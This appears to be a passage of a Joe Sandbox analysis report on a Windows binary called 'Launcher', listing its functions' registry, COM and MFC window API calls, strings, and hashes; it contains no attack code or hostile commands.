Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Open$Close
String ID: InprocHandler32$InprocServer32$LocalServer32
API String ID: 3083169812-2616365248
Opcode ID: 2b5cdd7ed08949cfe5487ad921afe904eff4e652cf7b0d6aca1b06652e4349cc
Instruction ID: f572a4fa8d241e81f32489b9071f14bd6269e160bafd43fd3bc139ca8e5a2b60
Opcode Fuzzy Hash: 2b5cdd7ed08949cfe5487ad921afe904eff4e652cf7b0d6aca1b06652e4349cc
Instruction Fuzzy Hash: 9CF03A3125810AFBDB11CFB1DC09EAF7ABEEF00789B108124B605E1160EB70DB12EB64

Function 0067D81B Relevance: 12.1, APIs: 8, Instructions: 78stringregistryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0067D19D,?,80000000,00000000), ref: 0067D846
RegCreateKeyExW.ADVAPI32(?,?,00000000,006621A0,00000000,000F003F,00000000,?,?,?,80000000,00000000), ref: 0067D881
lstrcpyW.KERNEL32(?,0067D19D,?,80000000,00000000), ref: 0067D899
lstrlenW.KERNEL32(80000000,?,80000000,00000000), ref: 0067D8A0
lstrlenW.KERNEL32(?,?,80000000,00000000), ref: 0067D8B1
RegSetValueExW.ADVAPI32(?,80000000,00000000,00000001,?,00000000,?,80000000,00000000), ref: 0067D8EA
RegCloseKey.ADVAPI32(?,?,80000000,00000000), ref: 0067D8FC

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: lstrlen$CloseCreateValuelstrcpy
String ID:
API String ID: 2938206059-0
Opcode ID: 225ed6856969eeb68b5f24009af6c992dedac438982fbadd6b4123ea5ca1f8d8
Instruction ID: f9b11f8f4e75a042767d6b7a861c1d4c6c8cfd90a5d6fed0370846109ecf21f1
Opcode Fuzzy Hash: 225ed6856969eeb68b5f24009af6c992dedac438982fbadd6b4123ea5ca1f8d8
Instruction Fuzzy Hash: 7A212BB160021AEBDB10DFA5ED48FEB77BEAB44300F008696F619D7151DA709A448F60

Function 006720C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 223windowCOMMON

Download Yara Rule

APIs

GetMessagePos.USER32 ref: 0067210B

Part of subcall function 006791B7: ScreenToClient.USER32(?,?), ref: 006791C2

#3909.MFC42U(?,?,?,?,?,?), ref: 0067218B

Part of subcall function 006791E9: SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 006791FB

Part of subcall function 006778FA: SendMessageW.USER32(?,0000113E,00000000,00000014), ref: 0067790C

#6266.MFC42U(00000002,?,?,?,00000000,00000014,00000000,?,?,?,?,?), ref: 00672479
#2430.MFC42U(00000002,?,?,?,00000000,00000014,00000000,?,?,?,?,?), ref: 00672484
#2430.MFC42U(00000002,?,?,?,00000000,00000014,00000000,?,?,?,?,?), ref: 0067248F

Strings

TypeLib, xrefs: 0067229D

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Message$#2430Send$#3909#6266ClientScreen
String ID: TypeLib
API String ID: 852555880-4260498707
Opcode ID: 2fbf3e2a0571e45373fec9fb59e4fea48e08824d168cbbc08d8556e9efadf809
Instruction ID: 2c7413925a2c88da1b05a4b69aacf49ee73daaba7c8847c0aa677622278ba129
Opcode Fuzzy Hash: 2fbf3e2a0571e45373fec9fb59e4fea48e08824d168cbbc08d8556e9efadf809
Instruction Fuzzy Hash: 93A13C3194022A9BEB74EB54CC9ABECB3B2AF14311F1081E9A10D662E1CB745FC5CF15

Function 0067DB5F Relevance: 10.6, APIs: 7, Instructions: 121COMMON

Download Yara Rule

APIs

isspace.MSVCRT ref: 0067DB7C
isdigit.MSVCRT ref: 0067DBCD
toupper.MSVCRT ref: 0067DBE3
isxdigit.MSVCRT ref: 0067DBF6
isdigit.MSVCRT ref: 0067DC1A
isspace.MSVCRT ref: 0067DC2E
isspace.MSVCRT ref: 0067DC49

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: isspace$isdigit$isxdigittoupper
String ID:
API String ID: 4280169866-0
Opcode ID: 56be15eb809afc5af3ebaeeb5cd5f75d19ee3f6d22d19f5646c0b2d452cde15e
Instruction ID: 2997d88f4f57084deba3242069e0bf6cf11574231983ba94661b60b9b5f61d2d
Opcode Fuzzy Hash: 56be15eb809afc5af3ebaeeb5cd5f75d19ee3f6d22d19f5646c0b2d452cde15e
Instruction Fuzzy Hash: 1D3190F2900122D7DB241F699C445B677FAEF597717268A2AF889C7280EB74CC81D660

Function 00677CEB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap32,?,00000208), ref: 00677E9A
RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap,?,00000208), ref: 00677EBD
#861.MFC42U(?), ref: 00677EDA
RegCloseKey.ADVAPI32(00000000,?), ref: 00677EEE

Strings

ToolboxBitmap32, xrefs: 00677E8F
ToolboxBitmap, xrefs: 00677EB2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: QueryValue$#861Close
String ID: ToolboxBitmap$ToolboxBitmap32
API String ID: 1198224557-4222126835
Opcode ID: 4046d88da252fd1afa3b7171a40799ceef1f102acd4cd6035b1c9e7023391e71
Instruction ID: ef7bf6deac1e463e1eded435b19e1d232cd4ad8eb673cec0926fbd2b88b584ea
Opcode Fuzzy Hash: 4046d88da252fd1afa3b7171a40799ceef1f102acd4cd6035b1c9e7023391e71
Instruction Fuzzy Hash: 45014C71A4011D9BCB60DF10CC89FEA77BABF28305F1042E9A11EE2291DB309E85DF20

Function 00677C94 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap32,?,00000208), ref: 00677E9A
RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap,?,00000208), ref: 00677EBD
#861.MFC42U(?), ref: 00677EDA
RegCloseKey.ADVAPI32(00000000,?), ref: 00677EEE

Strings

ToolboxBitmap32, xrefs: 00677E8F
ToolboxBitmap, xrefs: 00677EB2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: QueryValue$#861Close
String ID: ToolboxBitmap$ToolboxBitmap32
API String ID: 1198224557-4222126835
Opcode ID: 22e967a24afeb4a1a4035f5f03fe0e1474401fae5a284ce741f60df6dbcbb17c
Instruction ID: ef7bf6deac1e463e1eded435b19e1d232cd4ad8eb673cec0926fbd2b88b584ea
Opcode Fuzzy Hash: 22e967a24afeb4a1a4035f5f03fe0e1474401fae5a284ce741f60df6dbcbb17c
Instruction Fuzzy Hash: 45014C71A4011D9BCB60DF10CC89FEA77BABF28305F1042E9A11EE2291DB309E85DF20

Function 00677D42 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap32,?,00000208), ref: 00677E9A
RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap,?,00000208), ref: 00677EBD
#861.MFC42U(?), ref: 00677EDA
RegCloseKey.ADVAPI32(00000000,?), ref: 00677EEE

Strings

ToolboxBitmap32, xrefs: 00677E8F
ToolboxBitmap, xrefs: 00677EB2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: QueryValue$#861Close
String ID: ToolboxBitmap$ToolboxBitmap32
API String ID: 1198224557-4222126835
Opcode ID: 84658628cdde29258739651e49521bdaee047e5b41f7b18e837657c3866413b8
Instruction ID: ef7bf6deac1e463e1eded435b19e1d232cd4ad8eb673cec0926fbd2b88b584ea
Opcode Fuzzy Hash: 84658628cdde29258739651e49521bdaee047e5b41f7b18e837657c3866413b8
Instruction Fuzzy Hash: 45014C71A4011D9BCB60DF10CC89FEA77BABF28305F1042E9A11EE2291DB309E85DF20

Function 00677DF6 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap32,?,00000208), ref: 00677E9A
RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap,?,00000208), ref: 00677EBD
#861.MFC42U(?), ref: 00677EDA
RegCloseKey.ADVAPI32(00000000,?), ref: 00677EEE

Strings

ToolboxBitmap32, xrefs: 00677E8F
ToolboxBitmap, xrefs: 00677EB2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: QueryValue$#861Close
String ID: ToolboxBitmap$ToolboxBitmap32
API String ID: 1198224557-4222126835
Opcode ID: 6efdc01a3fcb405f763d4f982992b8901bd58b096a87999038b1f11e6089b6f8
Instruction ID: ef7bf6deac1e463e1eded435b19e1d232cd4ad8eb673cec0926fbd2b88b584ea
Opcode Fuzzy Hash: 6efdc01a3fcb405f763d4f982992b8901bd58b096a87999038b1f11e6089b6f8
Instruction Fuzzy Hash: 45014C71A4011D9BCB60DF10CC89FEA77BABF28305F1042E9A11EE2291DB309E85DF20

Function 0066C800 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 37windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 0066C80D
SendMessageW.USER32(?,00001061,00000000,?), ref: 0066C838
SendMessageW.USER32(?,00001061,00000001,?), ref: 0066C85C

Strings

User/Group, xrefs: 0066C823
Can Access, xrefs: 0066C84E
j, xrefs: 0066C855

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#4704
String ID: Can Access$User/Group$j
API String ID: 2927661609-2049629346
Opcode ID: 56653075c91b1a2f3edc4d9b214dff913f01f1ba28a534164aa8027c15b2ac80
Instruction ID: 3674579b93748e4411429414f6bf08e476a9d9eade8171545e590809abb704b1
Opcode Fuzzy Hash: 56653075c91b1a2f3edc4d9b214dff913f01f1ba28a534164aa8027c15b2ac80
Instruction Fuzzy Hash: 92F0627190020DAFFB109F95CC49FEFBFBEEB85714F10051AE90176240C7B559548BA1

Function 006793AF Relevance: 10.5, APIs: 7, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006793B6
#540.MFC42U(00000004,006799BF,?,?,?,00000000,00000000), ref: 006793C9
#540.MFC42U(00000004,006799BF,?,?,?,00000000,00000000), ref: 006793D5
#540.MFC42U(00000004,006799BF,?,?,?,00000000,00000000), ref: 006793E1
#858.MFC42U(?,00000004,006799BF,?,?,?,00000000,00000000), ref: 006793F0
#858.MFC42U(?,?,00000004,006799BF,?,?,?,00000000,00000000), ref: 006793FB
#858.MFC42U(?,?,?,00000004,006799BF,?,?,?,00000000,00000000), ref: 00679406

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #540#858$H_prolog3
String ID:
API String ID: 3210275551-0
Opcode ID: bcebc83552334bd41e927b0ca6b296e4e3b332443f08c9c474b58961c0ffc1e4
Instruction ID: 90ccaa10d205241d051e08d85578250f07e448b389b2be49fb7b041d4c6e2b29
Opcode Fuzzy Hash: bcebc83552334bd41e927b0ca6b296e4e3b332443f08c9c474b58961c0ffc1e4
Instruction Fuzzy Hash: 0DF0FF70500645DBCB55EF90C851F9EB7B2BF20714F00C85CB49E2A152EBB0AA58DB55

Function 00679419 Relevance: 10.5, APIs: 7, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00679420
#540.MFC42U(00000004,0067B222,?,?,TypeLib,?), ref: 00679433
#540.MFC42U(00000004,0067B222,?,?,TypeLib,?), ref: 0067943F
#540.MFC42U(00000004,0067B222,?,?,TypeLib,?), ref: 0067944B
#858.MFC42U(?,00000004,0067B222,?,?,TypeLib,?), ref: 0067945A
#861.MFC42U(006621A0,?,00000004,0067B222,?,?,TypeLib,?), ref: 00679467
#858.MFC42U(?,006621A0,?,00000004,0067B222,?,?,TypeLib,?), ref: 00679472

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #540$#858$#861H_prolog3
String ID:
API String ID: 117671327-0
Opcode ID: 687c76d73d3417b41feae90283eb8f86cbd1081d75279b78f9d14572ea026991
Instruction ID: 4bf0e6aeabb9f5c0f6dae382f675d2a480375bda7cfc998df1b5b8157f74c4e0
Opcode Fuzzy Hash: 687c76d73d3417b41feae90283eb8f86cbd1081d75279b78f9d14572ea026991
Instruction Fuzzy Hash: 4DF01D70500605DBDB95EF90C852F9EB7B2BF24714F00C85CB59E1B192DBB0AA48DB55

Function 00672AC0 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

#1662.MFC42U ref: 00672B02
#5596.MFC42U ref: 00672B2D
#5596.MFC42U ref: 00672B45
#861.MFC42U(006621A0,00000000,0000000D), ref: 00672BB6
#6325.MFC42U(00000000,00000004,00000000,006621A0,00000000,0000000D), ref: 00672BC4
#2644.MFC42U ref: 00672C14

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #5596$#1662#2644#6325#861
String ID:
API String ID: 4171677465-0
Opcode ID: 620c7e516fd65367e10c65aa90c45766d26080ad41eecce18e0a0da2853443ba
Instruction ID: 76c368a7cdcca9d9289412f63b758cb8b9e63e3523dd271f985bd062aa4cc931
Opcode Fuzzy Hash: 620c7e516fd65367e10c65aa90c45766d26080ad41eecce18e0a0da2853443ba
Instruction Fuzzy Hash: B7411274E01115EFCB44EFA4C996BADB7B3AF84700F1081A8E506AB3A2DB719E44CB55

Function 00678F95 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

#1662.MFC42U ref: 00678FAE
#5596.MFC42U ref: 00678FD9
#5596.MFC42U ref: 00678FF1
#861.MFC42U(006621A0), ref: 00679062
#6325.MFC42U(00000000,00000004,00000000,006621A0), ref: 00679070
#2644.MFC42U ref: 006790C0

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #5596$#1662#2644#6325#861
String ID:
API String ID: 4171677465-0
Opcode ID: 05836b20f555f738263719d7426e71bb3fa429354667b217796015a509e5a5c3
Instruction ID: a8ac43f615924f77d910dabad801033b9190706e838ba237700196da0444c587
Opcode Fuzzy Hash: 05836b20f555f738263719d7426e71bb3fa429354667b217796015a509e5a5c3
Instruction Fuzzy Hash: 7631EF74B01115EFCB44FFA4C956AADB7B3AF85700F1081A8E506AB3A2DF71AE00DB15

Function 0066E583 Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

#6211.MFC42U(?,0000130B,?,?,0066D5AA,00000000), ref: 0066E5BE
#6211.MFC42U(?,0000130B,?,?,0066D5AA,00000000), ref: 0066E5E8
#6211.MFC42U(?,0000130B,?,?,0066D5AA,00000000), ref: 0066E60B
#6211.MFC42U(?,0000130B,?,?,0066D5AA,00000000), ref: 0066E62E
#6211.MFC42U(?,0000130B,?,?,0066D5AA,00000000), ref: 0066E651
RedrawWindow.USER32(?,00000000,00000000,00000105,?,0000130B,?,?,0066D5AA,00000000), ref: 0066E669

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #6211$RedrawWindow
String ID:
API String ID: 4151937776-0
Opcode ID: 3819623af347c2aa6cc64f1d3ca2a6baf3de7f2775b8dfc471835c95eac956ee
Instruction ID: 04723af43d667fae9bba84110db5342b76896c76789fd52f84254edb95f6fe73
Opcode Fuzzy Hash: 3819623af347c2aa6cc64f1d3ca2a6baf3de7f2775b8dfc471835c95eac956ee
Instruction Fuzzy Hash: FC21C334010605FACF318E22DC08DD77BBBEBA6728F11C01DF46A94164D6339954DF65

Function 0067CD41 Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0067CD5F
free.MSVCRT ref: 0067CD71
free.MSVCRT ref: 0067CD83
free.MSVCRT ref: 0067CD95
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,0067CE02,00000000,00000000,00000000), ref: 0067CDB7
GetLastError.KERNEL32(00000000), ref: 0067CDC2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: free$DescriptorErrorInitializeLastSecurity
String ID:
API String ID: 1417453991-0
Opcode ID: d94bb867720f58329f355e81ed2701baecd25869abbfc4e6e03b76e8a7b1ab99
Instruction ID: 5b17e3013c1220d6445a51679d29ebcb6d8633afe275e6055a0c68d153985a26
Opcode Fuzzy Hash: d94bb867720f58329f355e81ed2701baecd25869abbfc4e6e03b76e8a7b1ab99
Instruction Fuzzy Hash: 12114936504B43DFD7315F65E884992BBF3EF44365322E93EE19E86660CB719880DB44

Function 0066D944 Relevance: 9.1, APIs: 6, Instructions: 64stringregistrywindowCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(?,?,?,?), ref: 0066D979
lstrlenW.KERNEL32(?), ref: 0066D98A
lstrcpyW.KERNEL32(?,?), ref: 0066D9C1
wcsrchr.MSVCRT ref: 0066D9CF
#1165.MFC42U ref: 0066D9E0
ExtractIconW.SHELL32(?,?,00000000), ref: 0066D9F2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #1165ExtractIconQueryValuelstrcpylstrlenwcsrchr
String ID:
API String ID: 2919050075-0
Opcode ID: cce7081e9aee1ab3f4a39c4d05db5f9d34535e21f6d9d836014b7c8fa5f30b58
Instruction ID: 070cc991ac695742bf68b382d22cf545c3ae92496fe60f75fdc37869f8ad8cda
Opcode Fuzzy Hash: cce7081e9aee1ab3f4a39c4d05db5f9d34535e21f6d9d836014b7c8fa5f30b58
Instruction Fuzzy Hash: A9215E76A00219ABCB20EF65DC49EDA77B9EF48310F108699E519D7191EB709A84CB60

Function 0066F150 Relevance: 9.0, APIs: 6, Instructions: 39windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0066F167
#3087.MFC42U(00001FA5,00000000), ref: 0066F17D
#2634.MFC42U(00001FA5,00000000), ref: 0066F184
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0066F192
#3087.MFC42U(0000009C,00000000), ref: 0066F1A8
#2634.MFC42U(0000009C,00000000), ref: 0066F1AF

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2634#3087MessageSend
String ID:
API String ID: 496076185-0
Opcode ID: 76595ffe9099f070349ee0f71c4705c0befa1551ddadd513382bae55bde18c5f
Instruction ID: 7567a6a384f472a71e3960ad6adffe689e4825a8b846a18d9525826956dc0721
Opcode Fuzzy Hash: 76595ffe9099f070349ee0f71c4705c0befa1551ddadd513382bae55bde18c5f
Instruction Fuzzy Hash: C0F08CB27002503BFB282B719C9AE2F29AEDBC8B61F41442DF10AC61A0DE764D008229

Function 00670A74 Relevance: 9.0, APIs: 6, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

#693.MFC42U(?,0066D810,?,0066D83D), ref: 00670A85
#609.MFC42U(?,0066D810,?,0066D83D), ref: 00670A90
#609.MFC42U(?,0066D810,?,0066D83D), ref: 00670A9B
#609.MFC42U(?,0066D810,?,0066D83D), ref: 00670AA6
#609.MFC42U(?,0066D810,?,0066D83D), ref: 00670AAE

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #609$#693
String ID:
API String ID: 2192965535-0
Opcode ID: 60f7d3018abdac02b8671d4dd0671386abc17e2cff5b668c45e68ad431324955
Instruction ID: 50de0332a4cd7bca0b74815ee1ee35e8ccfd5b9c3e75594e91eadd9b939da034
Opcode Fuzzy Hash: 60f7d3018abdac02b8671d4dd0671386abc17e2cff5b668c45e68ad431324955
Instruction Fuzzy Hash: 33E09A350046129AC2B4EB30C4515E9B7B3AF58360F41866EA0AF03561FF612A4DCB54

Function 0067DCEB Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0067DD1D
wsprintfW.USER32 ref: 0067DD47

Strings

severity: %s, facility: %s ($%08lX), xrefs: 0067DD41
%s ($%08lX), xrefs: 0067DD00
range: %s ($%08lX), xrefs: 0067DD12

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: wsprintf
String ID: %s ($%08lX)$range: %s ($%08lX)$severity: %s, facility: %s ($%08lX)
API String ID: 2111968516-3060768123
Opcode ID: cfe3091bb6db1c629be7736e4737d6c0292392d9362b99c15321011dc4e092db
Instruction ID: f54bb70537dc83906a2758f915acb9bc72d72e5f04db90543307c88eaedb40e4
Opcode Fuzzy Hash: cfe3091bb6db1c629be7736e4737d6c0292392d9362b99c15321011dc4e092db
Instruction Fuzzy Hash: B6F0E232A42130769A1027544C06CBB3A6FCD02B4174A8521FD4DF7342DA509E0183FA

Function 0066B310 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27windowCOMMON

Download Yara Rule

APIs

#1143.MFC42U(00000093,0000000E,00000093), ref: 0066B31D
LoadIconW.USER32(00000000,00000093), ref: 0066B323
#1165.MFC42U(?,?,CCCCC300), ref: 0066B32B

Part of subcall function 0066B421: #1172.MFC42U(?,0066B338), ref: 0066B424

